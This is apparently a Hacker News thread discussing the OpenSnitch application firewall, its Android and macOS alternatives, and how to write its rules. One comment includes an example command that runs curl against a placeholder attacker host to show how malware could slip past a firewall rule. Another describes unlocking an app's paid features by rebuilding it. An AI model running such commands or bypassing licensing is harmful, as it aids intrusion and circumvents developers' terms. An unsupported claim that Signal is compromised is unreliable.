OpenSnitch is a GNU/Linux interactive application firewall

https://github.com/evilsocket/opensnitch

by dp-hackernews • 2 years ago

408 101 2 years ago

vhguru• 2 years ago

Would be great to have Arch and OpenSUSE packages too.

frankjr2• 2 years ago

There is an official package for Arch Linux. It doesn't ship with the ebpf modules for some reason though (you need to get them separately from AUR).

diggan2• 2 years ago

`opensnitch` is in the extra repository on Arch, and `opensnitch-ebpf-module` exists on the AUR.

amingilani• 2 years ago

Is there an open source equivalent for MacOS?

frankjr2• 2 years ago

There's Lulu based on Apple's Network Extension framework but there are quite a few issues with the framework itself (it will briefly initiate a connection even though there's a deny rule for that address etc).

https://github.com/objective-see/LuLu

lelag• 2 years ago

Yes, there is: Lulu at https://objective-see.org/products/lulu.html.

eep_social2• 2 years ago

I tried LuLu and it was okay but I did end up trying and subsequently buying Little Snitch. The level of UX polish wasn’t quite there for me with LuLu.

collinvandyck76• 2 years ago

I also feel the same way re: UX polish. I haven't bought little snitch yet, but was kind of wondering if I even needed to. I've already got a pihole on my tailnet that blocks a fair amount of things, and then ublock origin on firefox to boot. If LS were only like $20 I'd probably just buy it for the pleasing graphs, but otherwise I'm not sure what extra value it adds. There's probably a usecase for it given the other things I have, but perhaps I'm not the target audience.

samlinnfer• 2 years ago

I've tried to use it extensively (as an interactive firewall). However there are just some problems (that are not the fault of OpenSnitch) that I'm not even sure that are even solvable.

For example, supposed I run `curl` on the terminal, I can either always decide on a case-by-case basis to allow it thru, or I'm required to whitelist it permanently. Once I've whitelisted generic tools like `curl` or `wget`, then the floodgates are really open, since any malware that have compromised my machine can just use `curl` or `wget` to get to the internet without hitting the firewall.

haswell6• 2 years ago

I’ve found that by using subdomain wildcards and/or subnets, I build up a stable set of rules pretty quickly and then only have to review requests to new endpoints once in awhile.

To me, the peace of mind knowing that I’ll be prompted to allow new access is worth the initial hassle. And once the habit is built, it’s pretty easy to manage.

Editing to add: I also use expiring rules regularly. Maybe I trust an installer and want to let it do its thing. So I open it up with a rule for the executable expiring in the near future (options include: forever, until reboot, for the next 30s, for the next 5 mins, etc). This can drastically simplify some tasks if there are a large number of endpoints for some reason and avoids leaving a hole open permanently.

xyst2• 2 years ago

IMO - requires a ton of work. Adoption requires updating rules quite often

chefandy• 2 years ago

It's the filter configured per user, or is it system-wide? I know you can filter per-user with IP tables and whatever the newer one is, but I haven't dug that deep into open snitch. Maybe a single trusted user account without a login that you could su into? I wonder if you could also whitelist a VM process and spin up single-use VM sandboxes to use when you want to do a bunch of work like that.

Definitely a minor hassle to set up compared to just saying yes or no to permissions, but it's not complicated, if it works.

netule2• 2 years ago

I wonder if there's a way to configure it so that when the parent cmd is a trusted command (say, a bash/zsh owned by the user), it could let the curl command through and otherwise block it. But yeah, that seems like a bit of a hassle.

akdev1l• 2 years ago

Then any process can do `system(“bash -c curl malware.attacker”)`

phoe-krk• 2 years ago

You'd need a firewall that is not just TCP/UDP-aware, but HTTP(S)-aware, and a way for your firewall to sniff on TLS-encrypted traffic.

diggan2• 2 years ago

Or be ok with filtering HTTP/TLS traffic based on the domain only, as that part isn't encrypted (the SNI [Server Name Indication]). OpenSnitch should be able to allow/disallow based on that, rather than having to decrypt the TLS part.

djent• 2 years ago

so don't do that. problem solved

xyst2• 2 years ago

Might be the same but what if you allow all curl/wget traffic for 'dev' user, but continue to flag any traffic for 'normal' user

for dev work run 'su -c curl … dev'

But if malicious program in normal user space is running, then app firewall flags curl and wget use appropriately.

It would be annoying to input password every time so maybe setup PAM to use yubikey or biometric? Also make sure this user cannot login and does not have a password.

prmoustache• 2 years ago

dev user might be the one you want to protect the best in order to detect some supply chain issues.

fsflover2• 2 years ago

The solution that worked for me was to switch to Qubes OS, where everything runs in VMs with strong hardware-assisted isolation.

irundebian4• 2 years ago

I switched from Qubes OS to Fedora+Flatpak+Opensnitch. Couldn't make it to run Wayland on my hybrid GPU system (Nvidia). QubesOS drained battery very quickly and since graphics is afaik software rendered, I've gotten into problems in watching HD videos (e. g. a lot of dropped frames on Youtube).

a-dub• 2 years ago

a sudo like wrapper for this could be pretty cool.

still will capture when processes unexpectedly try to connect to the network for the first time and there is some value in that. even if the popups aren't great.

psd1• 2 years ago

I'm early in my Linux journey. Would it be a good approach to symlink bash to some new name, say, snitch, then do

   snitch -c "curl blah.blah"

Is there a better way without writing code?

cookiengineer• 2 years ago

I wish OpenSnitch had a temporary allow feature for things like:

- allow a specific parent structure, e.g. when the python interpreter is invoked by a different parent command

- allow a specific process ID temporarily until the process is killed (both with allowing/disallowing child processes)

- allow a specific target port range for games, and not only a specific port in the rulesets.

...because I feel that 99% of the annoying dialogues could have been avoided with this.

1vuio0pswjnm7• 2 years ago

This sounds rather silly. If this is really a concern, then "curl" or "wget" can be renamed. I use an application level firewall on mobile and I do not "whitelist" names of programs, I "whitelist" access to certain domain names/IP addresses by certain programs.

The easiest way to stop programs/malware from phoning home IME is to deny access to DNS. I have been doing this for decades and it still works flawlessly. "99%" of the time programs/malware that phone home rely on DNS, not "hard-coded" IP addresses. And it is quite easy for me to detect the rare case of a program/malware that does not need DNS.

With DNS I "whitelist" certain domain names. In fact today I do not even use a locally-served zone file with the IP addresses I need (the whitelist); a forward proxy handles the domain to IP address mapping, the whitelist loaded by the proxy is a text file, like a zone file but simpler.

aflag• 2 years ago

You can install a unrestricted version with a new name and alias wget and curl to that in interactive shells

Kiboneu• 2 years ago

It doesn’t pin to PID? What if I rename a program to something that has been whitelisted?

bornfreddy3• 2 years ago

Including the path? If you can do that, there's bigger problems than the outgoing network communications.

self_awareness2• 2 years ago

Kiboneu wrote:

It doesn’t pin to PID? What if I rename a program to something that has been whitelisted?

That's a valid question. It should allow/disallow executables by hashing the executable file (not even the device id + inode), not by comparing the paths. Also pinning the PID also isn't good, since pid is temporary.

self_awareness2• 2 years ago

samlinnfer wrote:

However there are just some problems (that are not the fault of OpenSnitch) that I'm not even sure that are even solvable.

Those problems are solvable. Some "big" EDRs, which happen to work in a similar way, allow to declare the parent/child relationship of the executables to block, i.e. it should be possible to declare that if "curl" is spawned, and if by walking the parent list we encounter a process called "/usr/bin/trusted", then allow this curl invocation. This action would allow running "curl" from bash scripts, as long as the bash script has "/usr/bin/trusted" as a parent.

mixmastamyk5• 2 years ago

This is great for catching sloppy apps that make an excessive number of connections. Thunderbird, I’m looking at you.

I like it, but it has a small annoyance in that the temporary rules that have expired don’t get deleted or marked in the interface. So I have to restart the gui once in a while to clear them.

richardlblair• 2 years ago

Not to be that guy, because I never really have the time myself. But, I'm sure PRs are welcome

mixmastamyk5• 2 years ago

Have thought about it, though haven’t used QT in twenty years.

TwoNineFive• 2 years ago

Actually the new Thunderbird people are not taking lots of patches and fixes for even things like security and mail corruption issues. And privacy definitely doesn't seem to be anything they are interested in. I gave up and just send them over to Betterbird, which is what I use now anyway, since I don't want my mail corrupted.

orkj• 2 years ago

Does something like this exist for my phone, android specifically? Any good recommendations?

Joe_Cool3• 2 years ago

Sadly all real firewalls need root. I was using AFWall+ for a long time it has neat controls for every app to allow or deny Wifi, Cell or LAN (if you have). It is a iptables/nftables frontend so you can customize the rules to your heart's content: https://github.com/ukanth/afwall Works from Android 2+

Without root only VPN solutions like Adguard are available.

EDIT: if you want neat stats: Glasswire has an Android version. I have only used the beta so I have no idea about its current state. Might be worth checking out though.

ignoramous2• 2 years ago

ex-AOSP and rethink dns+firewall dev here

Sadly all real firewalls need root

What do you mean by a "real" firewall? It is very much possible to build a userspace firewall in Android using the VPN APIs.

On Android, ROMs like GrapheneOS, Lineage, and CalyxOS have firewalls built-in.

Glasswire has an Android version

Note though, Glasswire was recently acquired by another company: https://archive.is/KW2R3

sureglymop2• 2 years ago

The app "Rethink: DNS + Firewall + VPN" has similar features.

FireInsight• 2 years ago

TrackerControl is great too. Both are FOSS and can be used in the backgroud for using a custom DNS server and blocking certain categories of domains.

arminiusreturns2• 2 years ago

I really like Rethink DNS. I have learned many things from watching it (such as I think Signal is compromised by some five-eyes "crossing the border" fuckery.)

SparkyMcUnicorn• 2 years ago

My non-root solution is to use NextDNS or ControlD with "private DNS" (DNS over TLS).

Doesn't stop direct IP connections, but it's good enough.

I also have the CLI installed on OpnSense so DoH is enforced for all devices on my LAN as well.

supriyo-biswas• 2 years ago

There's netguard[1], although most of the convenience features are behind a small payment.

[1] https://netguard.me

butz• 2 years ago

"Small payment" is an understatement :)

"You can get all current and future NetGuard pro features (including updates) without Google Play services for the GitHub or F-Droid version by a one time donation of € 0.10 or more. If you donate 7 euros or more, you can activate the pro features on all Android devices you personally own, else you can activate the pro features one time only."

ggeorgovassilis• 2 years ago

Netguard is fantastic, although it takes a while to get a safe setup working. I'm blocking traffic by default and get to see all the blocked connection attempts - the extent to which apps transmit data to various parties is depressing. Netguard should be a standard OS feature.

cam_l2• 2 years ago

I have heard good things about this one. But i think this one of those no root firewalls that uses the vpn, so I figure this means I can't use a VPN at the same time.

An alternative android root only option is afwall+ which allows blocking on lte, WiFi, lan, and VPN separately, and script access to iptables. Not sure how actively developed it is, but it seems to work ok.

*edit: Seems to still be active, open source, and available on fdroid too.

https://github.com/ukanth/afwall

bornfreddy3• 2 years ago

I didn't want to pay without testing the features first, so I have rebuilt the app (it is opensource) with Pro enabled, so I guess that's an option if you want to avoid payment. Updates are a problem then though. Once I tested it I gladly paid (more than requested) to support the development. I never got around to reinstalling it though, so I'm still on an older version.

NetGuard is simply awesome. The piece of mind when I know which servers the apps are contacting, and being able to block their access to the net by default, is just great. The rules could be made a bit more easily adjustable (it would be nice if I could block `*.firebaseinstallations.googleapis.com` everywhere, even if other traffic is allowed for the app), but I'm just nitpicking now. Highly recommend it.

mikae1• 2 years ago

GrapheneOS can at least block internet traffic for specific apps. But can't do it for port ranges or specific domains.

JoosToopit• 2 years ago

AFWall+

Switched to it from NetGuard mentioned above.

vlovich123• 2 years ago

How does this compare with something like UFW? Is the main thing a UI to view ongoing activity?

pull_my_finger• 2 years ago

OpenSnitch prompts you when there's network activity. So if random app makes a telemetry call or something, you get the option to white/greylist that connection with granularity, like OK to make a connection to that address from this executable etc, or always OK to this address, and with duration options like once/for 15 seconds, until reboot etc. Once you get over the hurdle of whitelisting the apps you use and trust, it's actually pretty nice and gives you good insight into what your apps/games are doing you otherwise wouldn't have known about.

zargon• 2 years ago

UFW isn't an application firewall, it only blocks/allows port numbers (system-wide), as far as I know.

irundebian4• 2 years ago

That's right.

irundebian4• 2 years ago

Can recommend it on Fedora over fiddling with firewalld/firewall-config.

mixmastamyk5• 2 years ago

How to deal with dnf looking anywhere on the continent each time it wants to update?

https://news.ycombinator.com/item?id=41124755

Could just let it, but would prefer not to.

nobody99993• 2 years ago

As was mentioned in the thread you linked, use 'baseurl' instead of 'metalink' in the repo definitions (in /etc/yum.repos.d) and set the update server to whichever mirror you like.

There's even a helpful example in each Fedora repo that you can use as a template.

Good luck.

stusmall3• 2 years ago

This is what finally got me over to NixOS. In the past when I've used application firewalls its a lot of set up that often breaks on updates changing paths or I have to redo it all whenever I move to a new computer. Just tons and tons of churn and wasted effort.

By integrating with the package manager that hasn't been an issue. Once I got through the initial work of setting up my whitelists I just have a little bit of effort each time I add a new package to my nix configs. If I don't want to take on the effort of adding a whitelist to my nix config, I can just add a temporary whitelist that lasts until the next reboot.

It was a steep learning curve and a lot of work, but now its a breeze to maintain.

mubu2• 2 years ago

Did you achieve this using the OpenSnitch Nix options over at search.nixos.org/options ?

stusmall3• 2 years ago

Yup. My configs can be found here: https://github.com/stusmall/nixos

I tend to put all the random grab bags rules needed for basic functionality in the opensnitch.nix module. If a package needed rules it gets a module and they go in there. Check the signal.nix module for a good example

ranger_danger2• 2 years ago

I have tried to use it off and on many times, but all the random crashes I get really make it very difficult.

michaelmrose• 2 years ago

Has anyone ever in history had an issue prevented by such a firewall?

spacebacon• 2 years ago

Researching every connection is painstaking at first across various operating systems but a tool like this really helps you get familiar with what is normal and what is not.

extraduder_ire• 2 years ago

Little snitch, the macos equivalent to this was the recommended way to stop pirated copies of Adobe CS programs phoning home for years. Don't think that's the kind of issue you meant, but it does solve it.

stusmall3• 2 years ago

Yes. Default deny application firewalls are really powerful tool. It really can take the wind out of large classes of exploits. They can't phone home to exfil data or get follow up command.

It isn't something I'd recommend for everyone, because it is a lot of work and faffing around, but be extremely effective if you are willing to invest in managing it correctly.

kerkeslager• 2 years ago

Is there any plan to port this to MacOS? I use Little Snitch (which this is obviously influenced by) for a while, but really prefer open source (for reasons unrelated to payment).

SettembreNero• 2 years ago

Try LuLu

meonkeys• 2 years ago

I'd love something sorta like this but for Docker containers running APIs or web services. Like:

containerA: all outbound traffic allowed

containerB: no outbound traffic allowed, except to reply to a client

containerC: may only reach out to updates.example.com

Is this just per-container iptables? I could wedge iptables into existing images but it seems like a lot of work.

Or maybe something with iptables on the host?

rnmmrnm• 2 years ago

just my two cents that netfilter (for which iptables is a frontend) is a kernel subsystem and therefore global to all containers on host.

OpenSnitch is a GNU/Linux interactive application firewall

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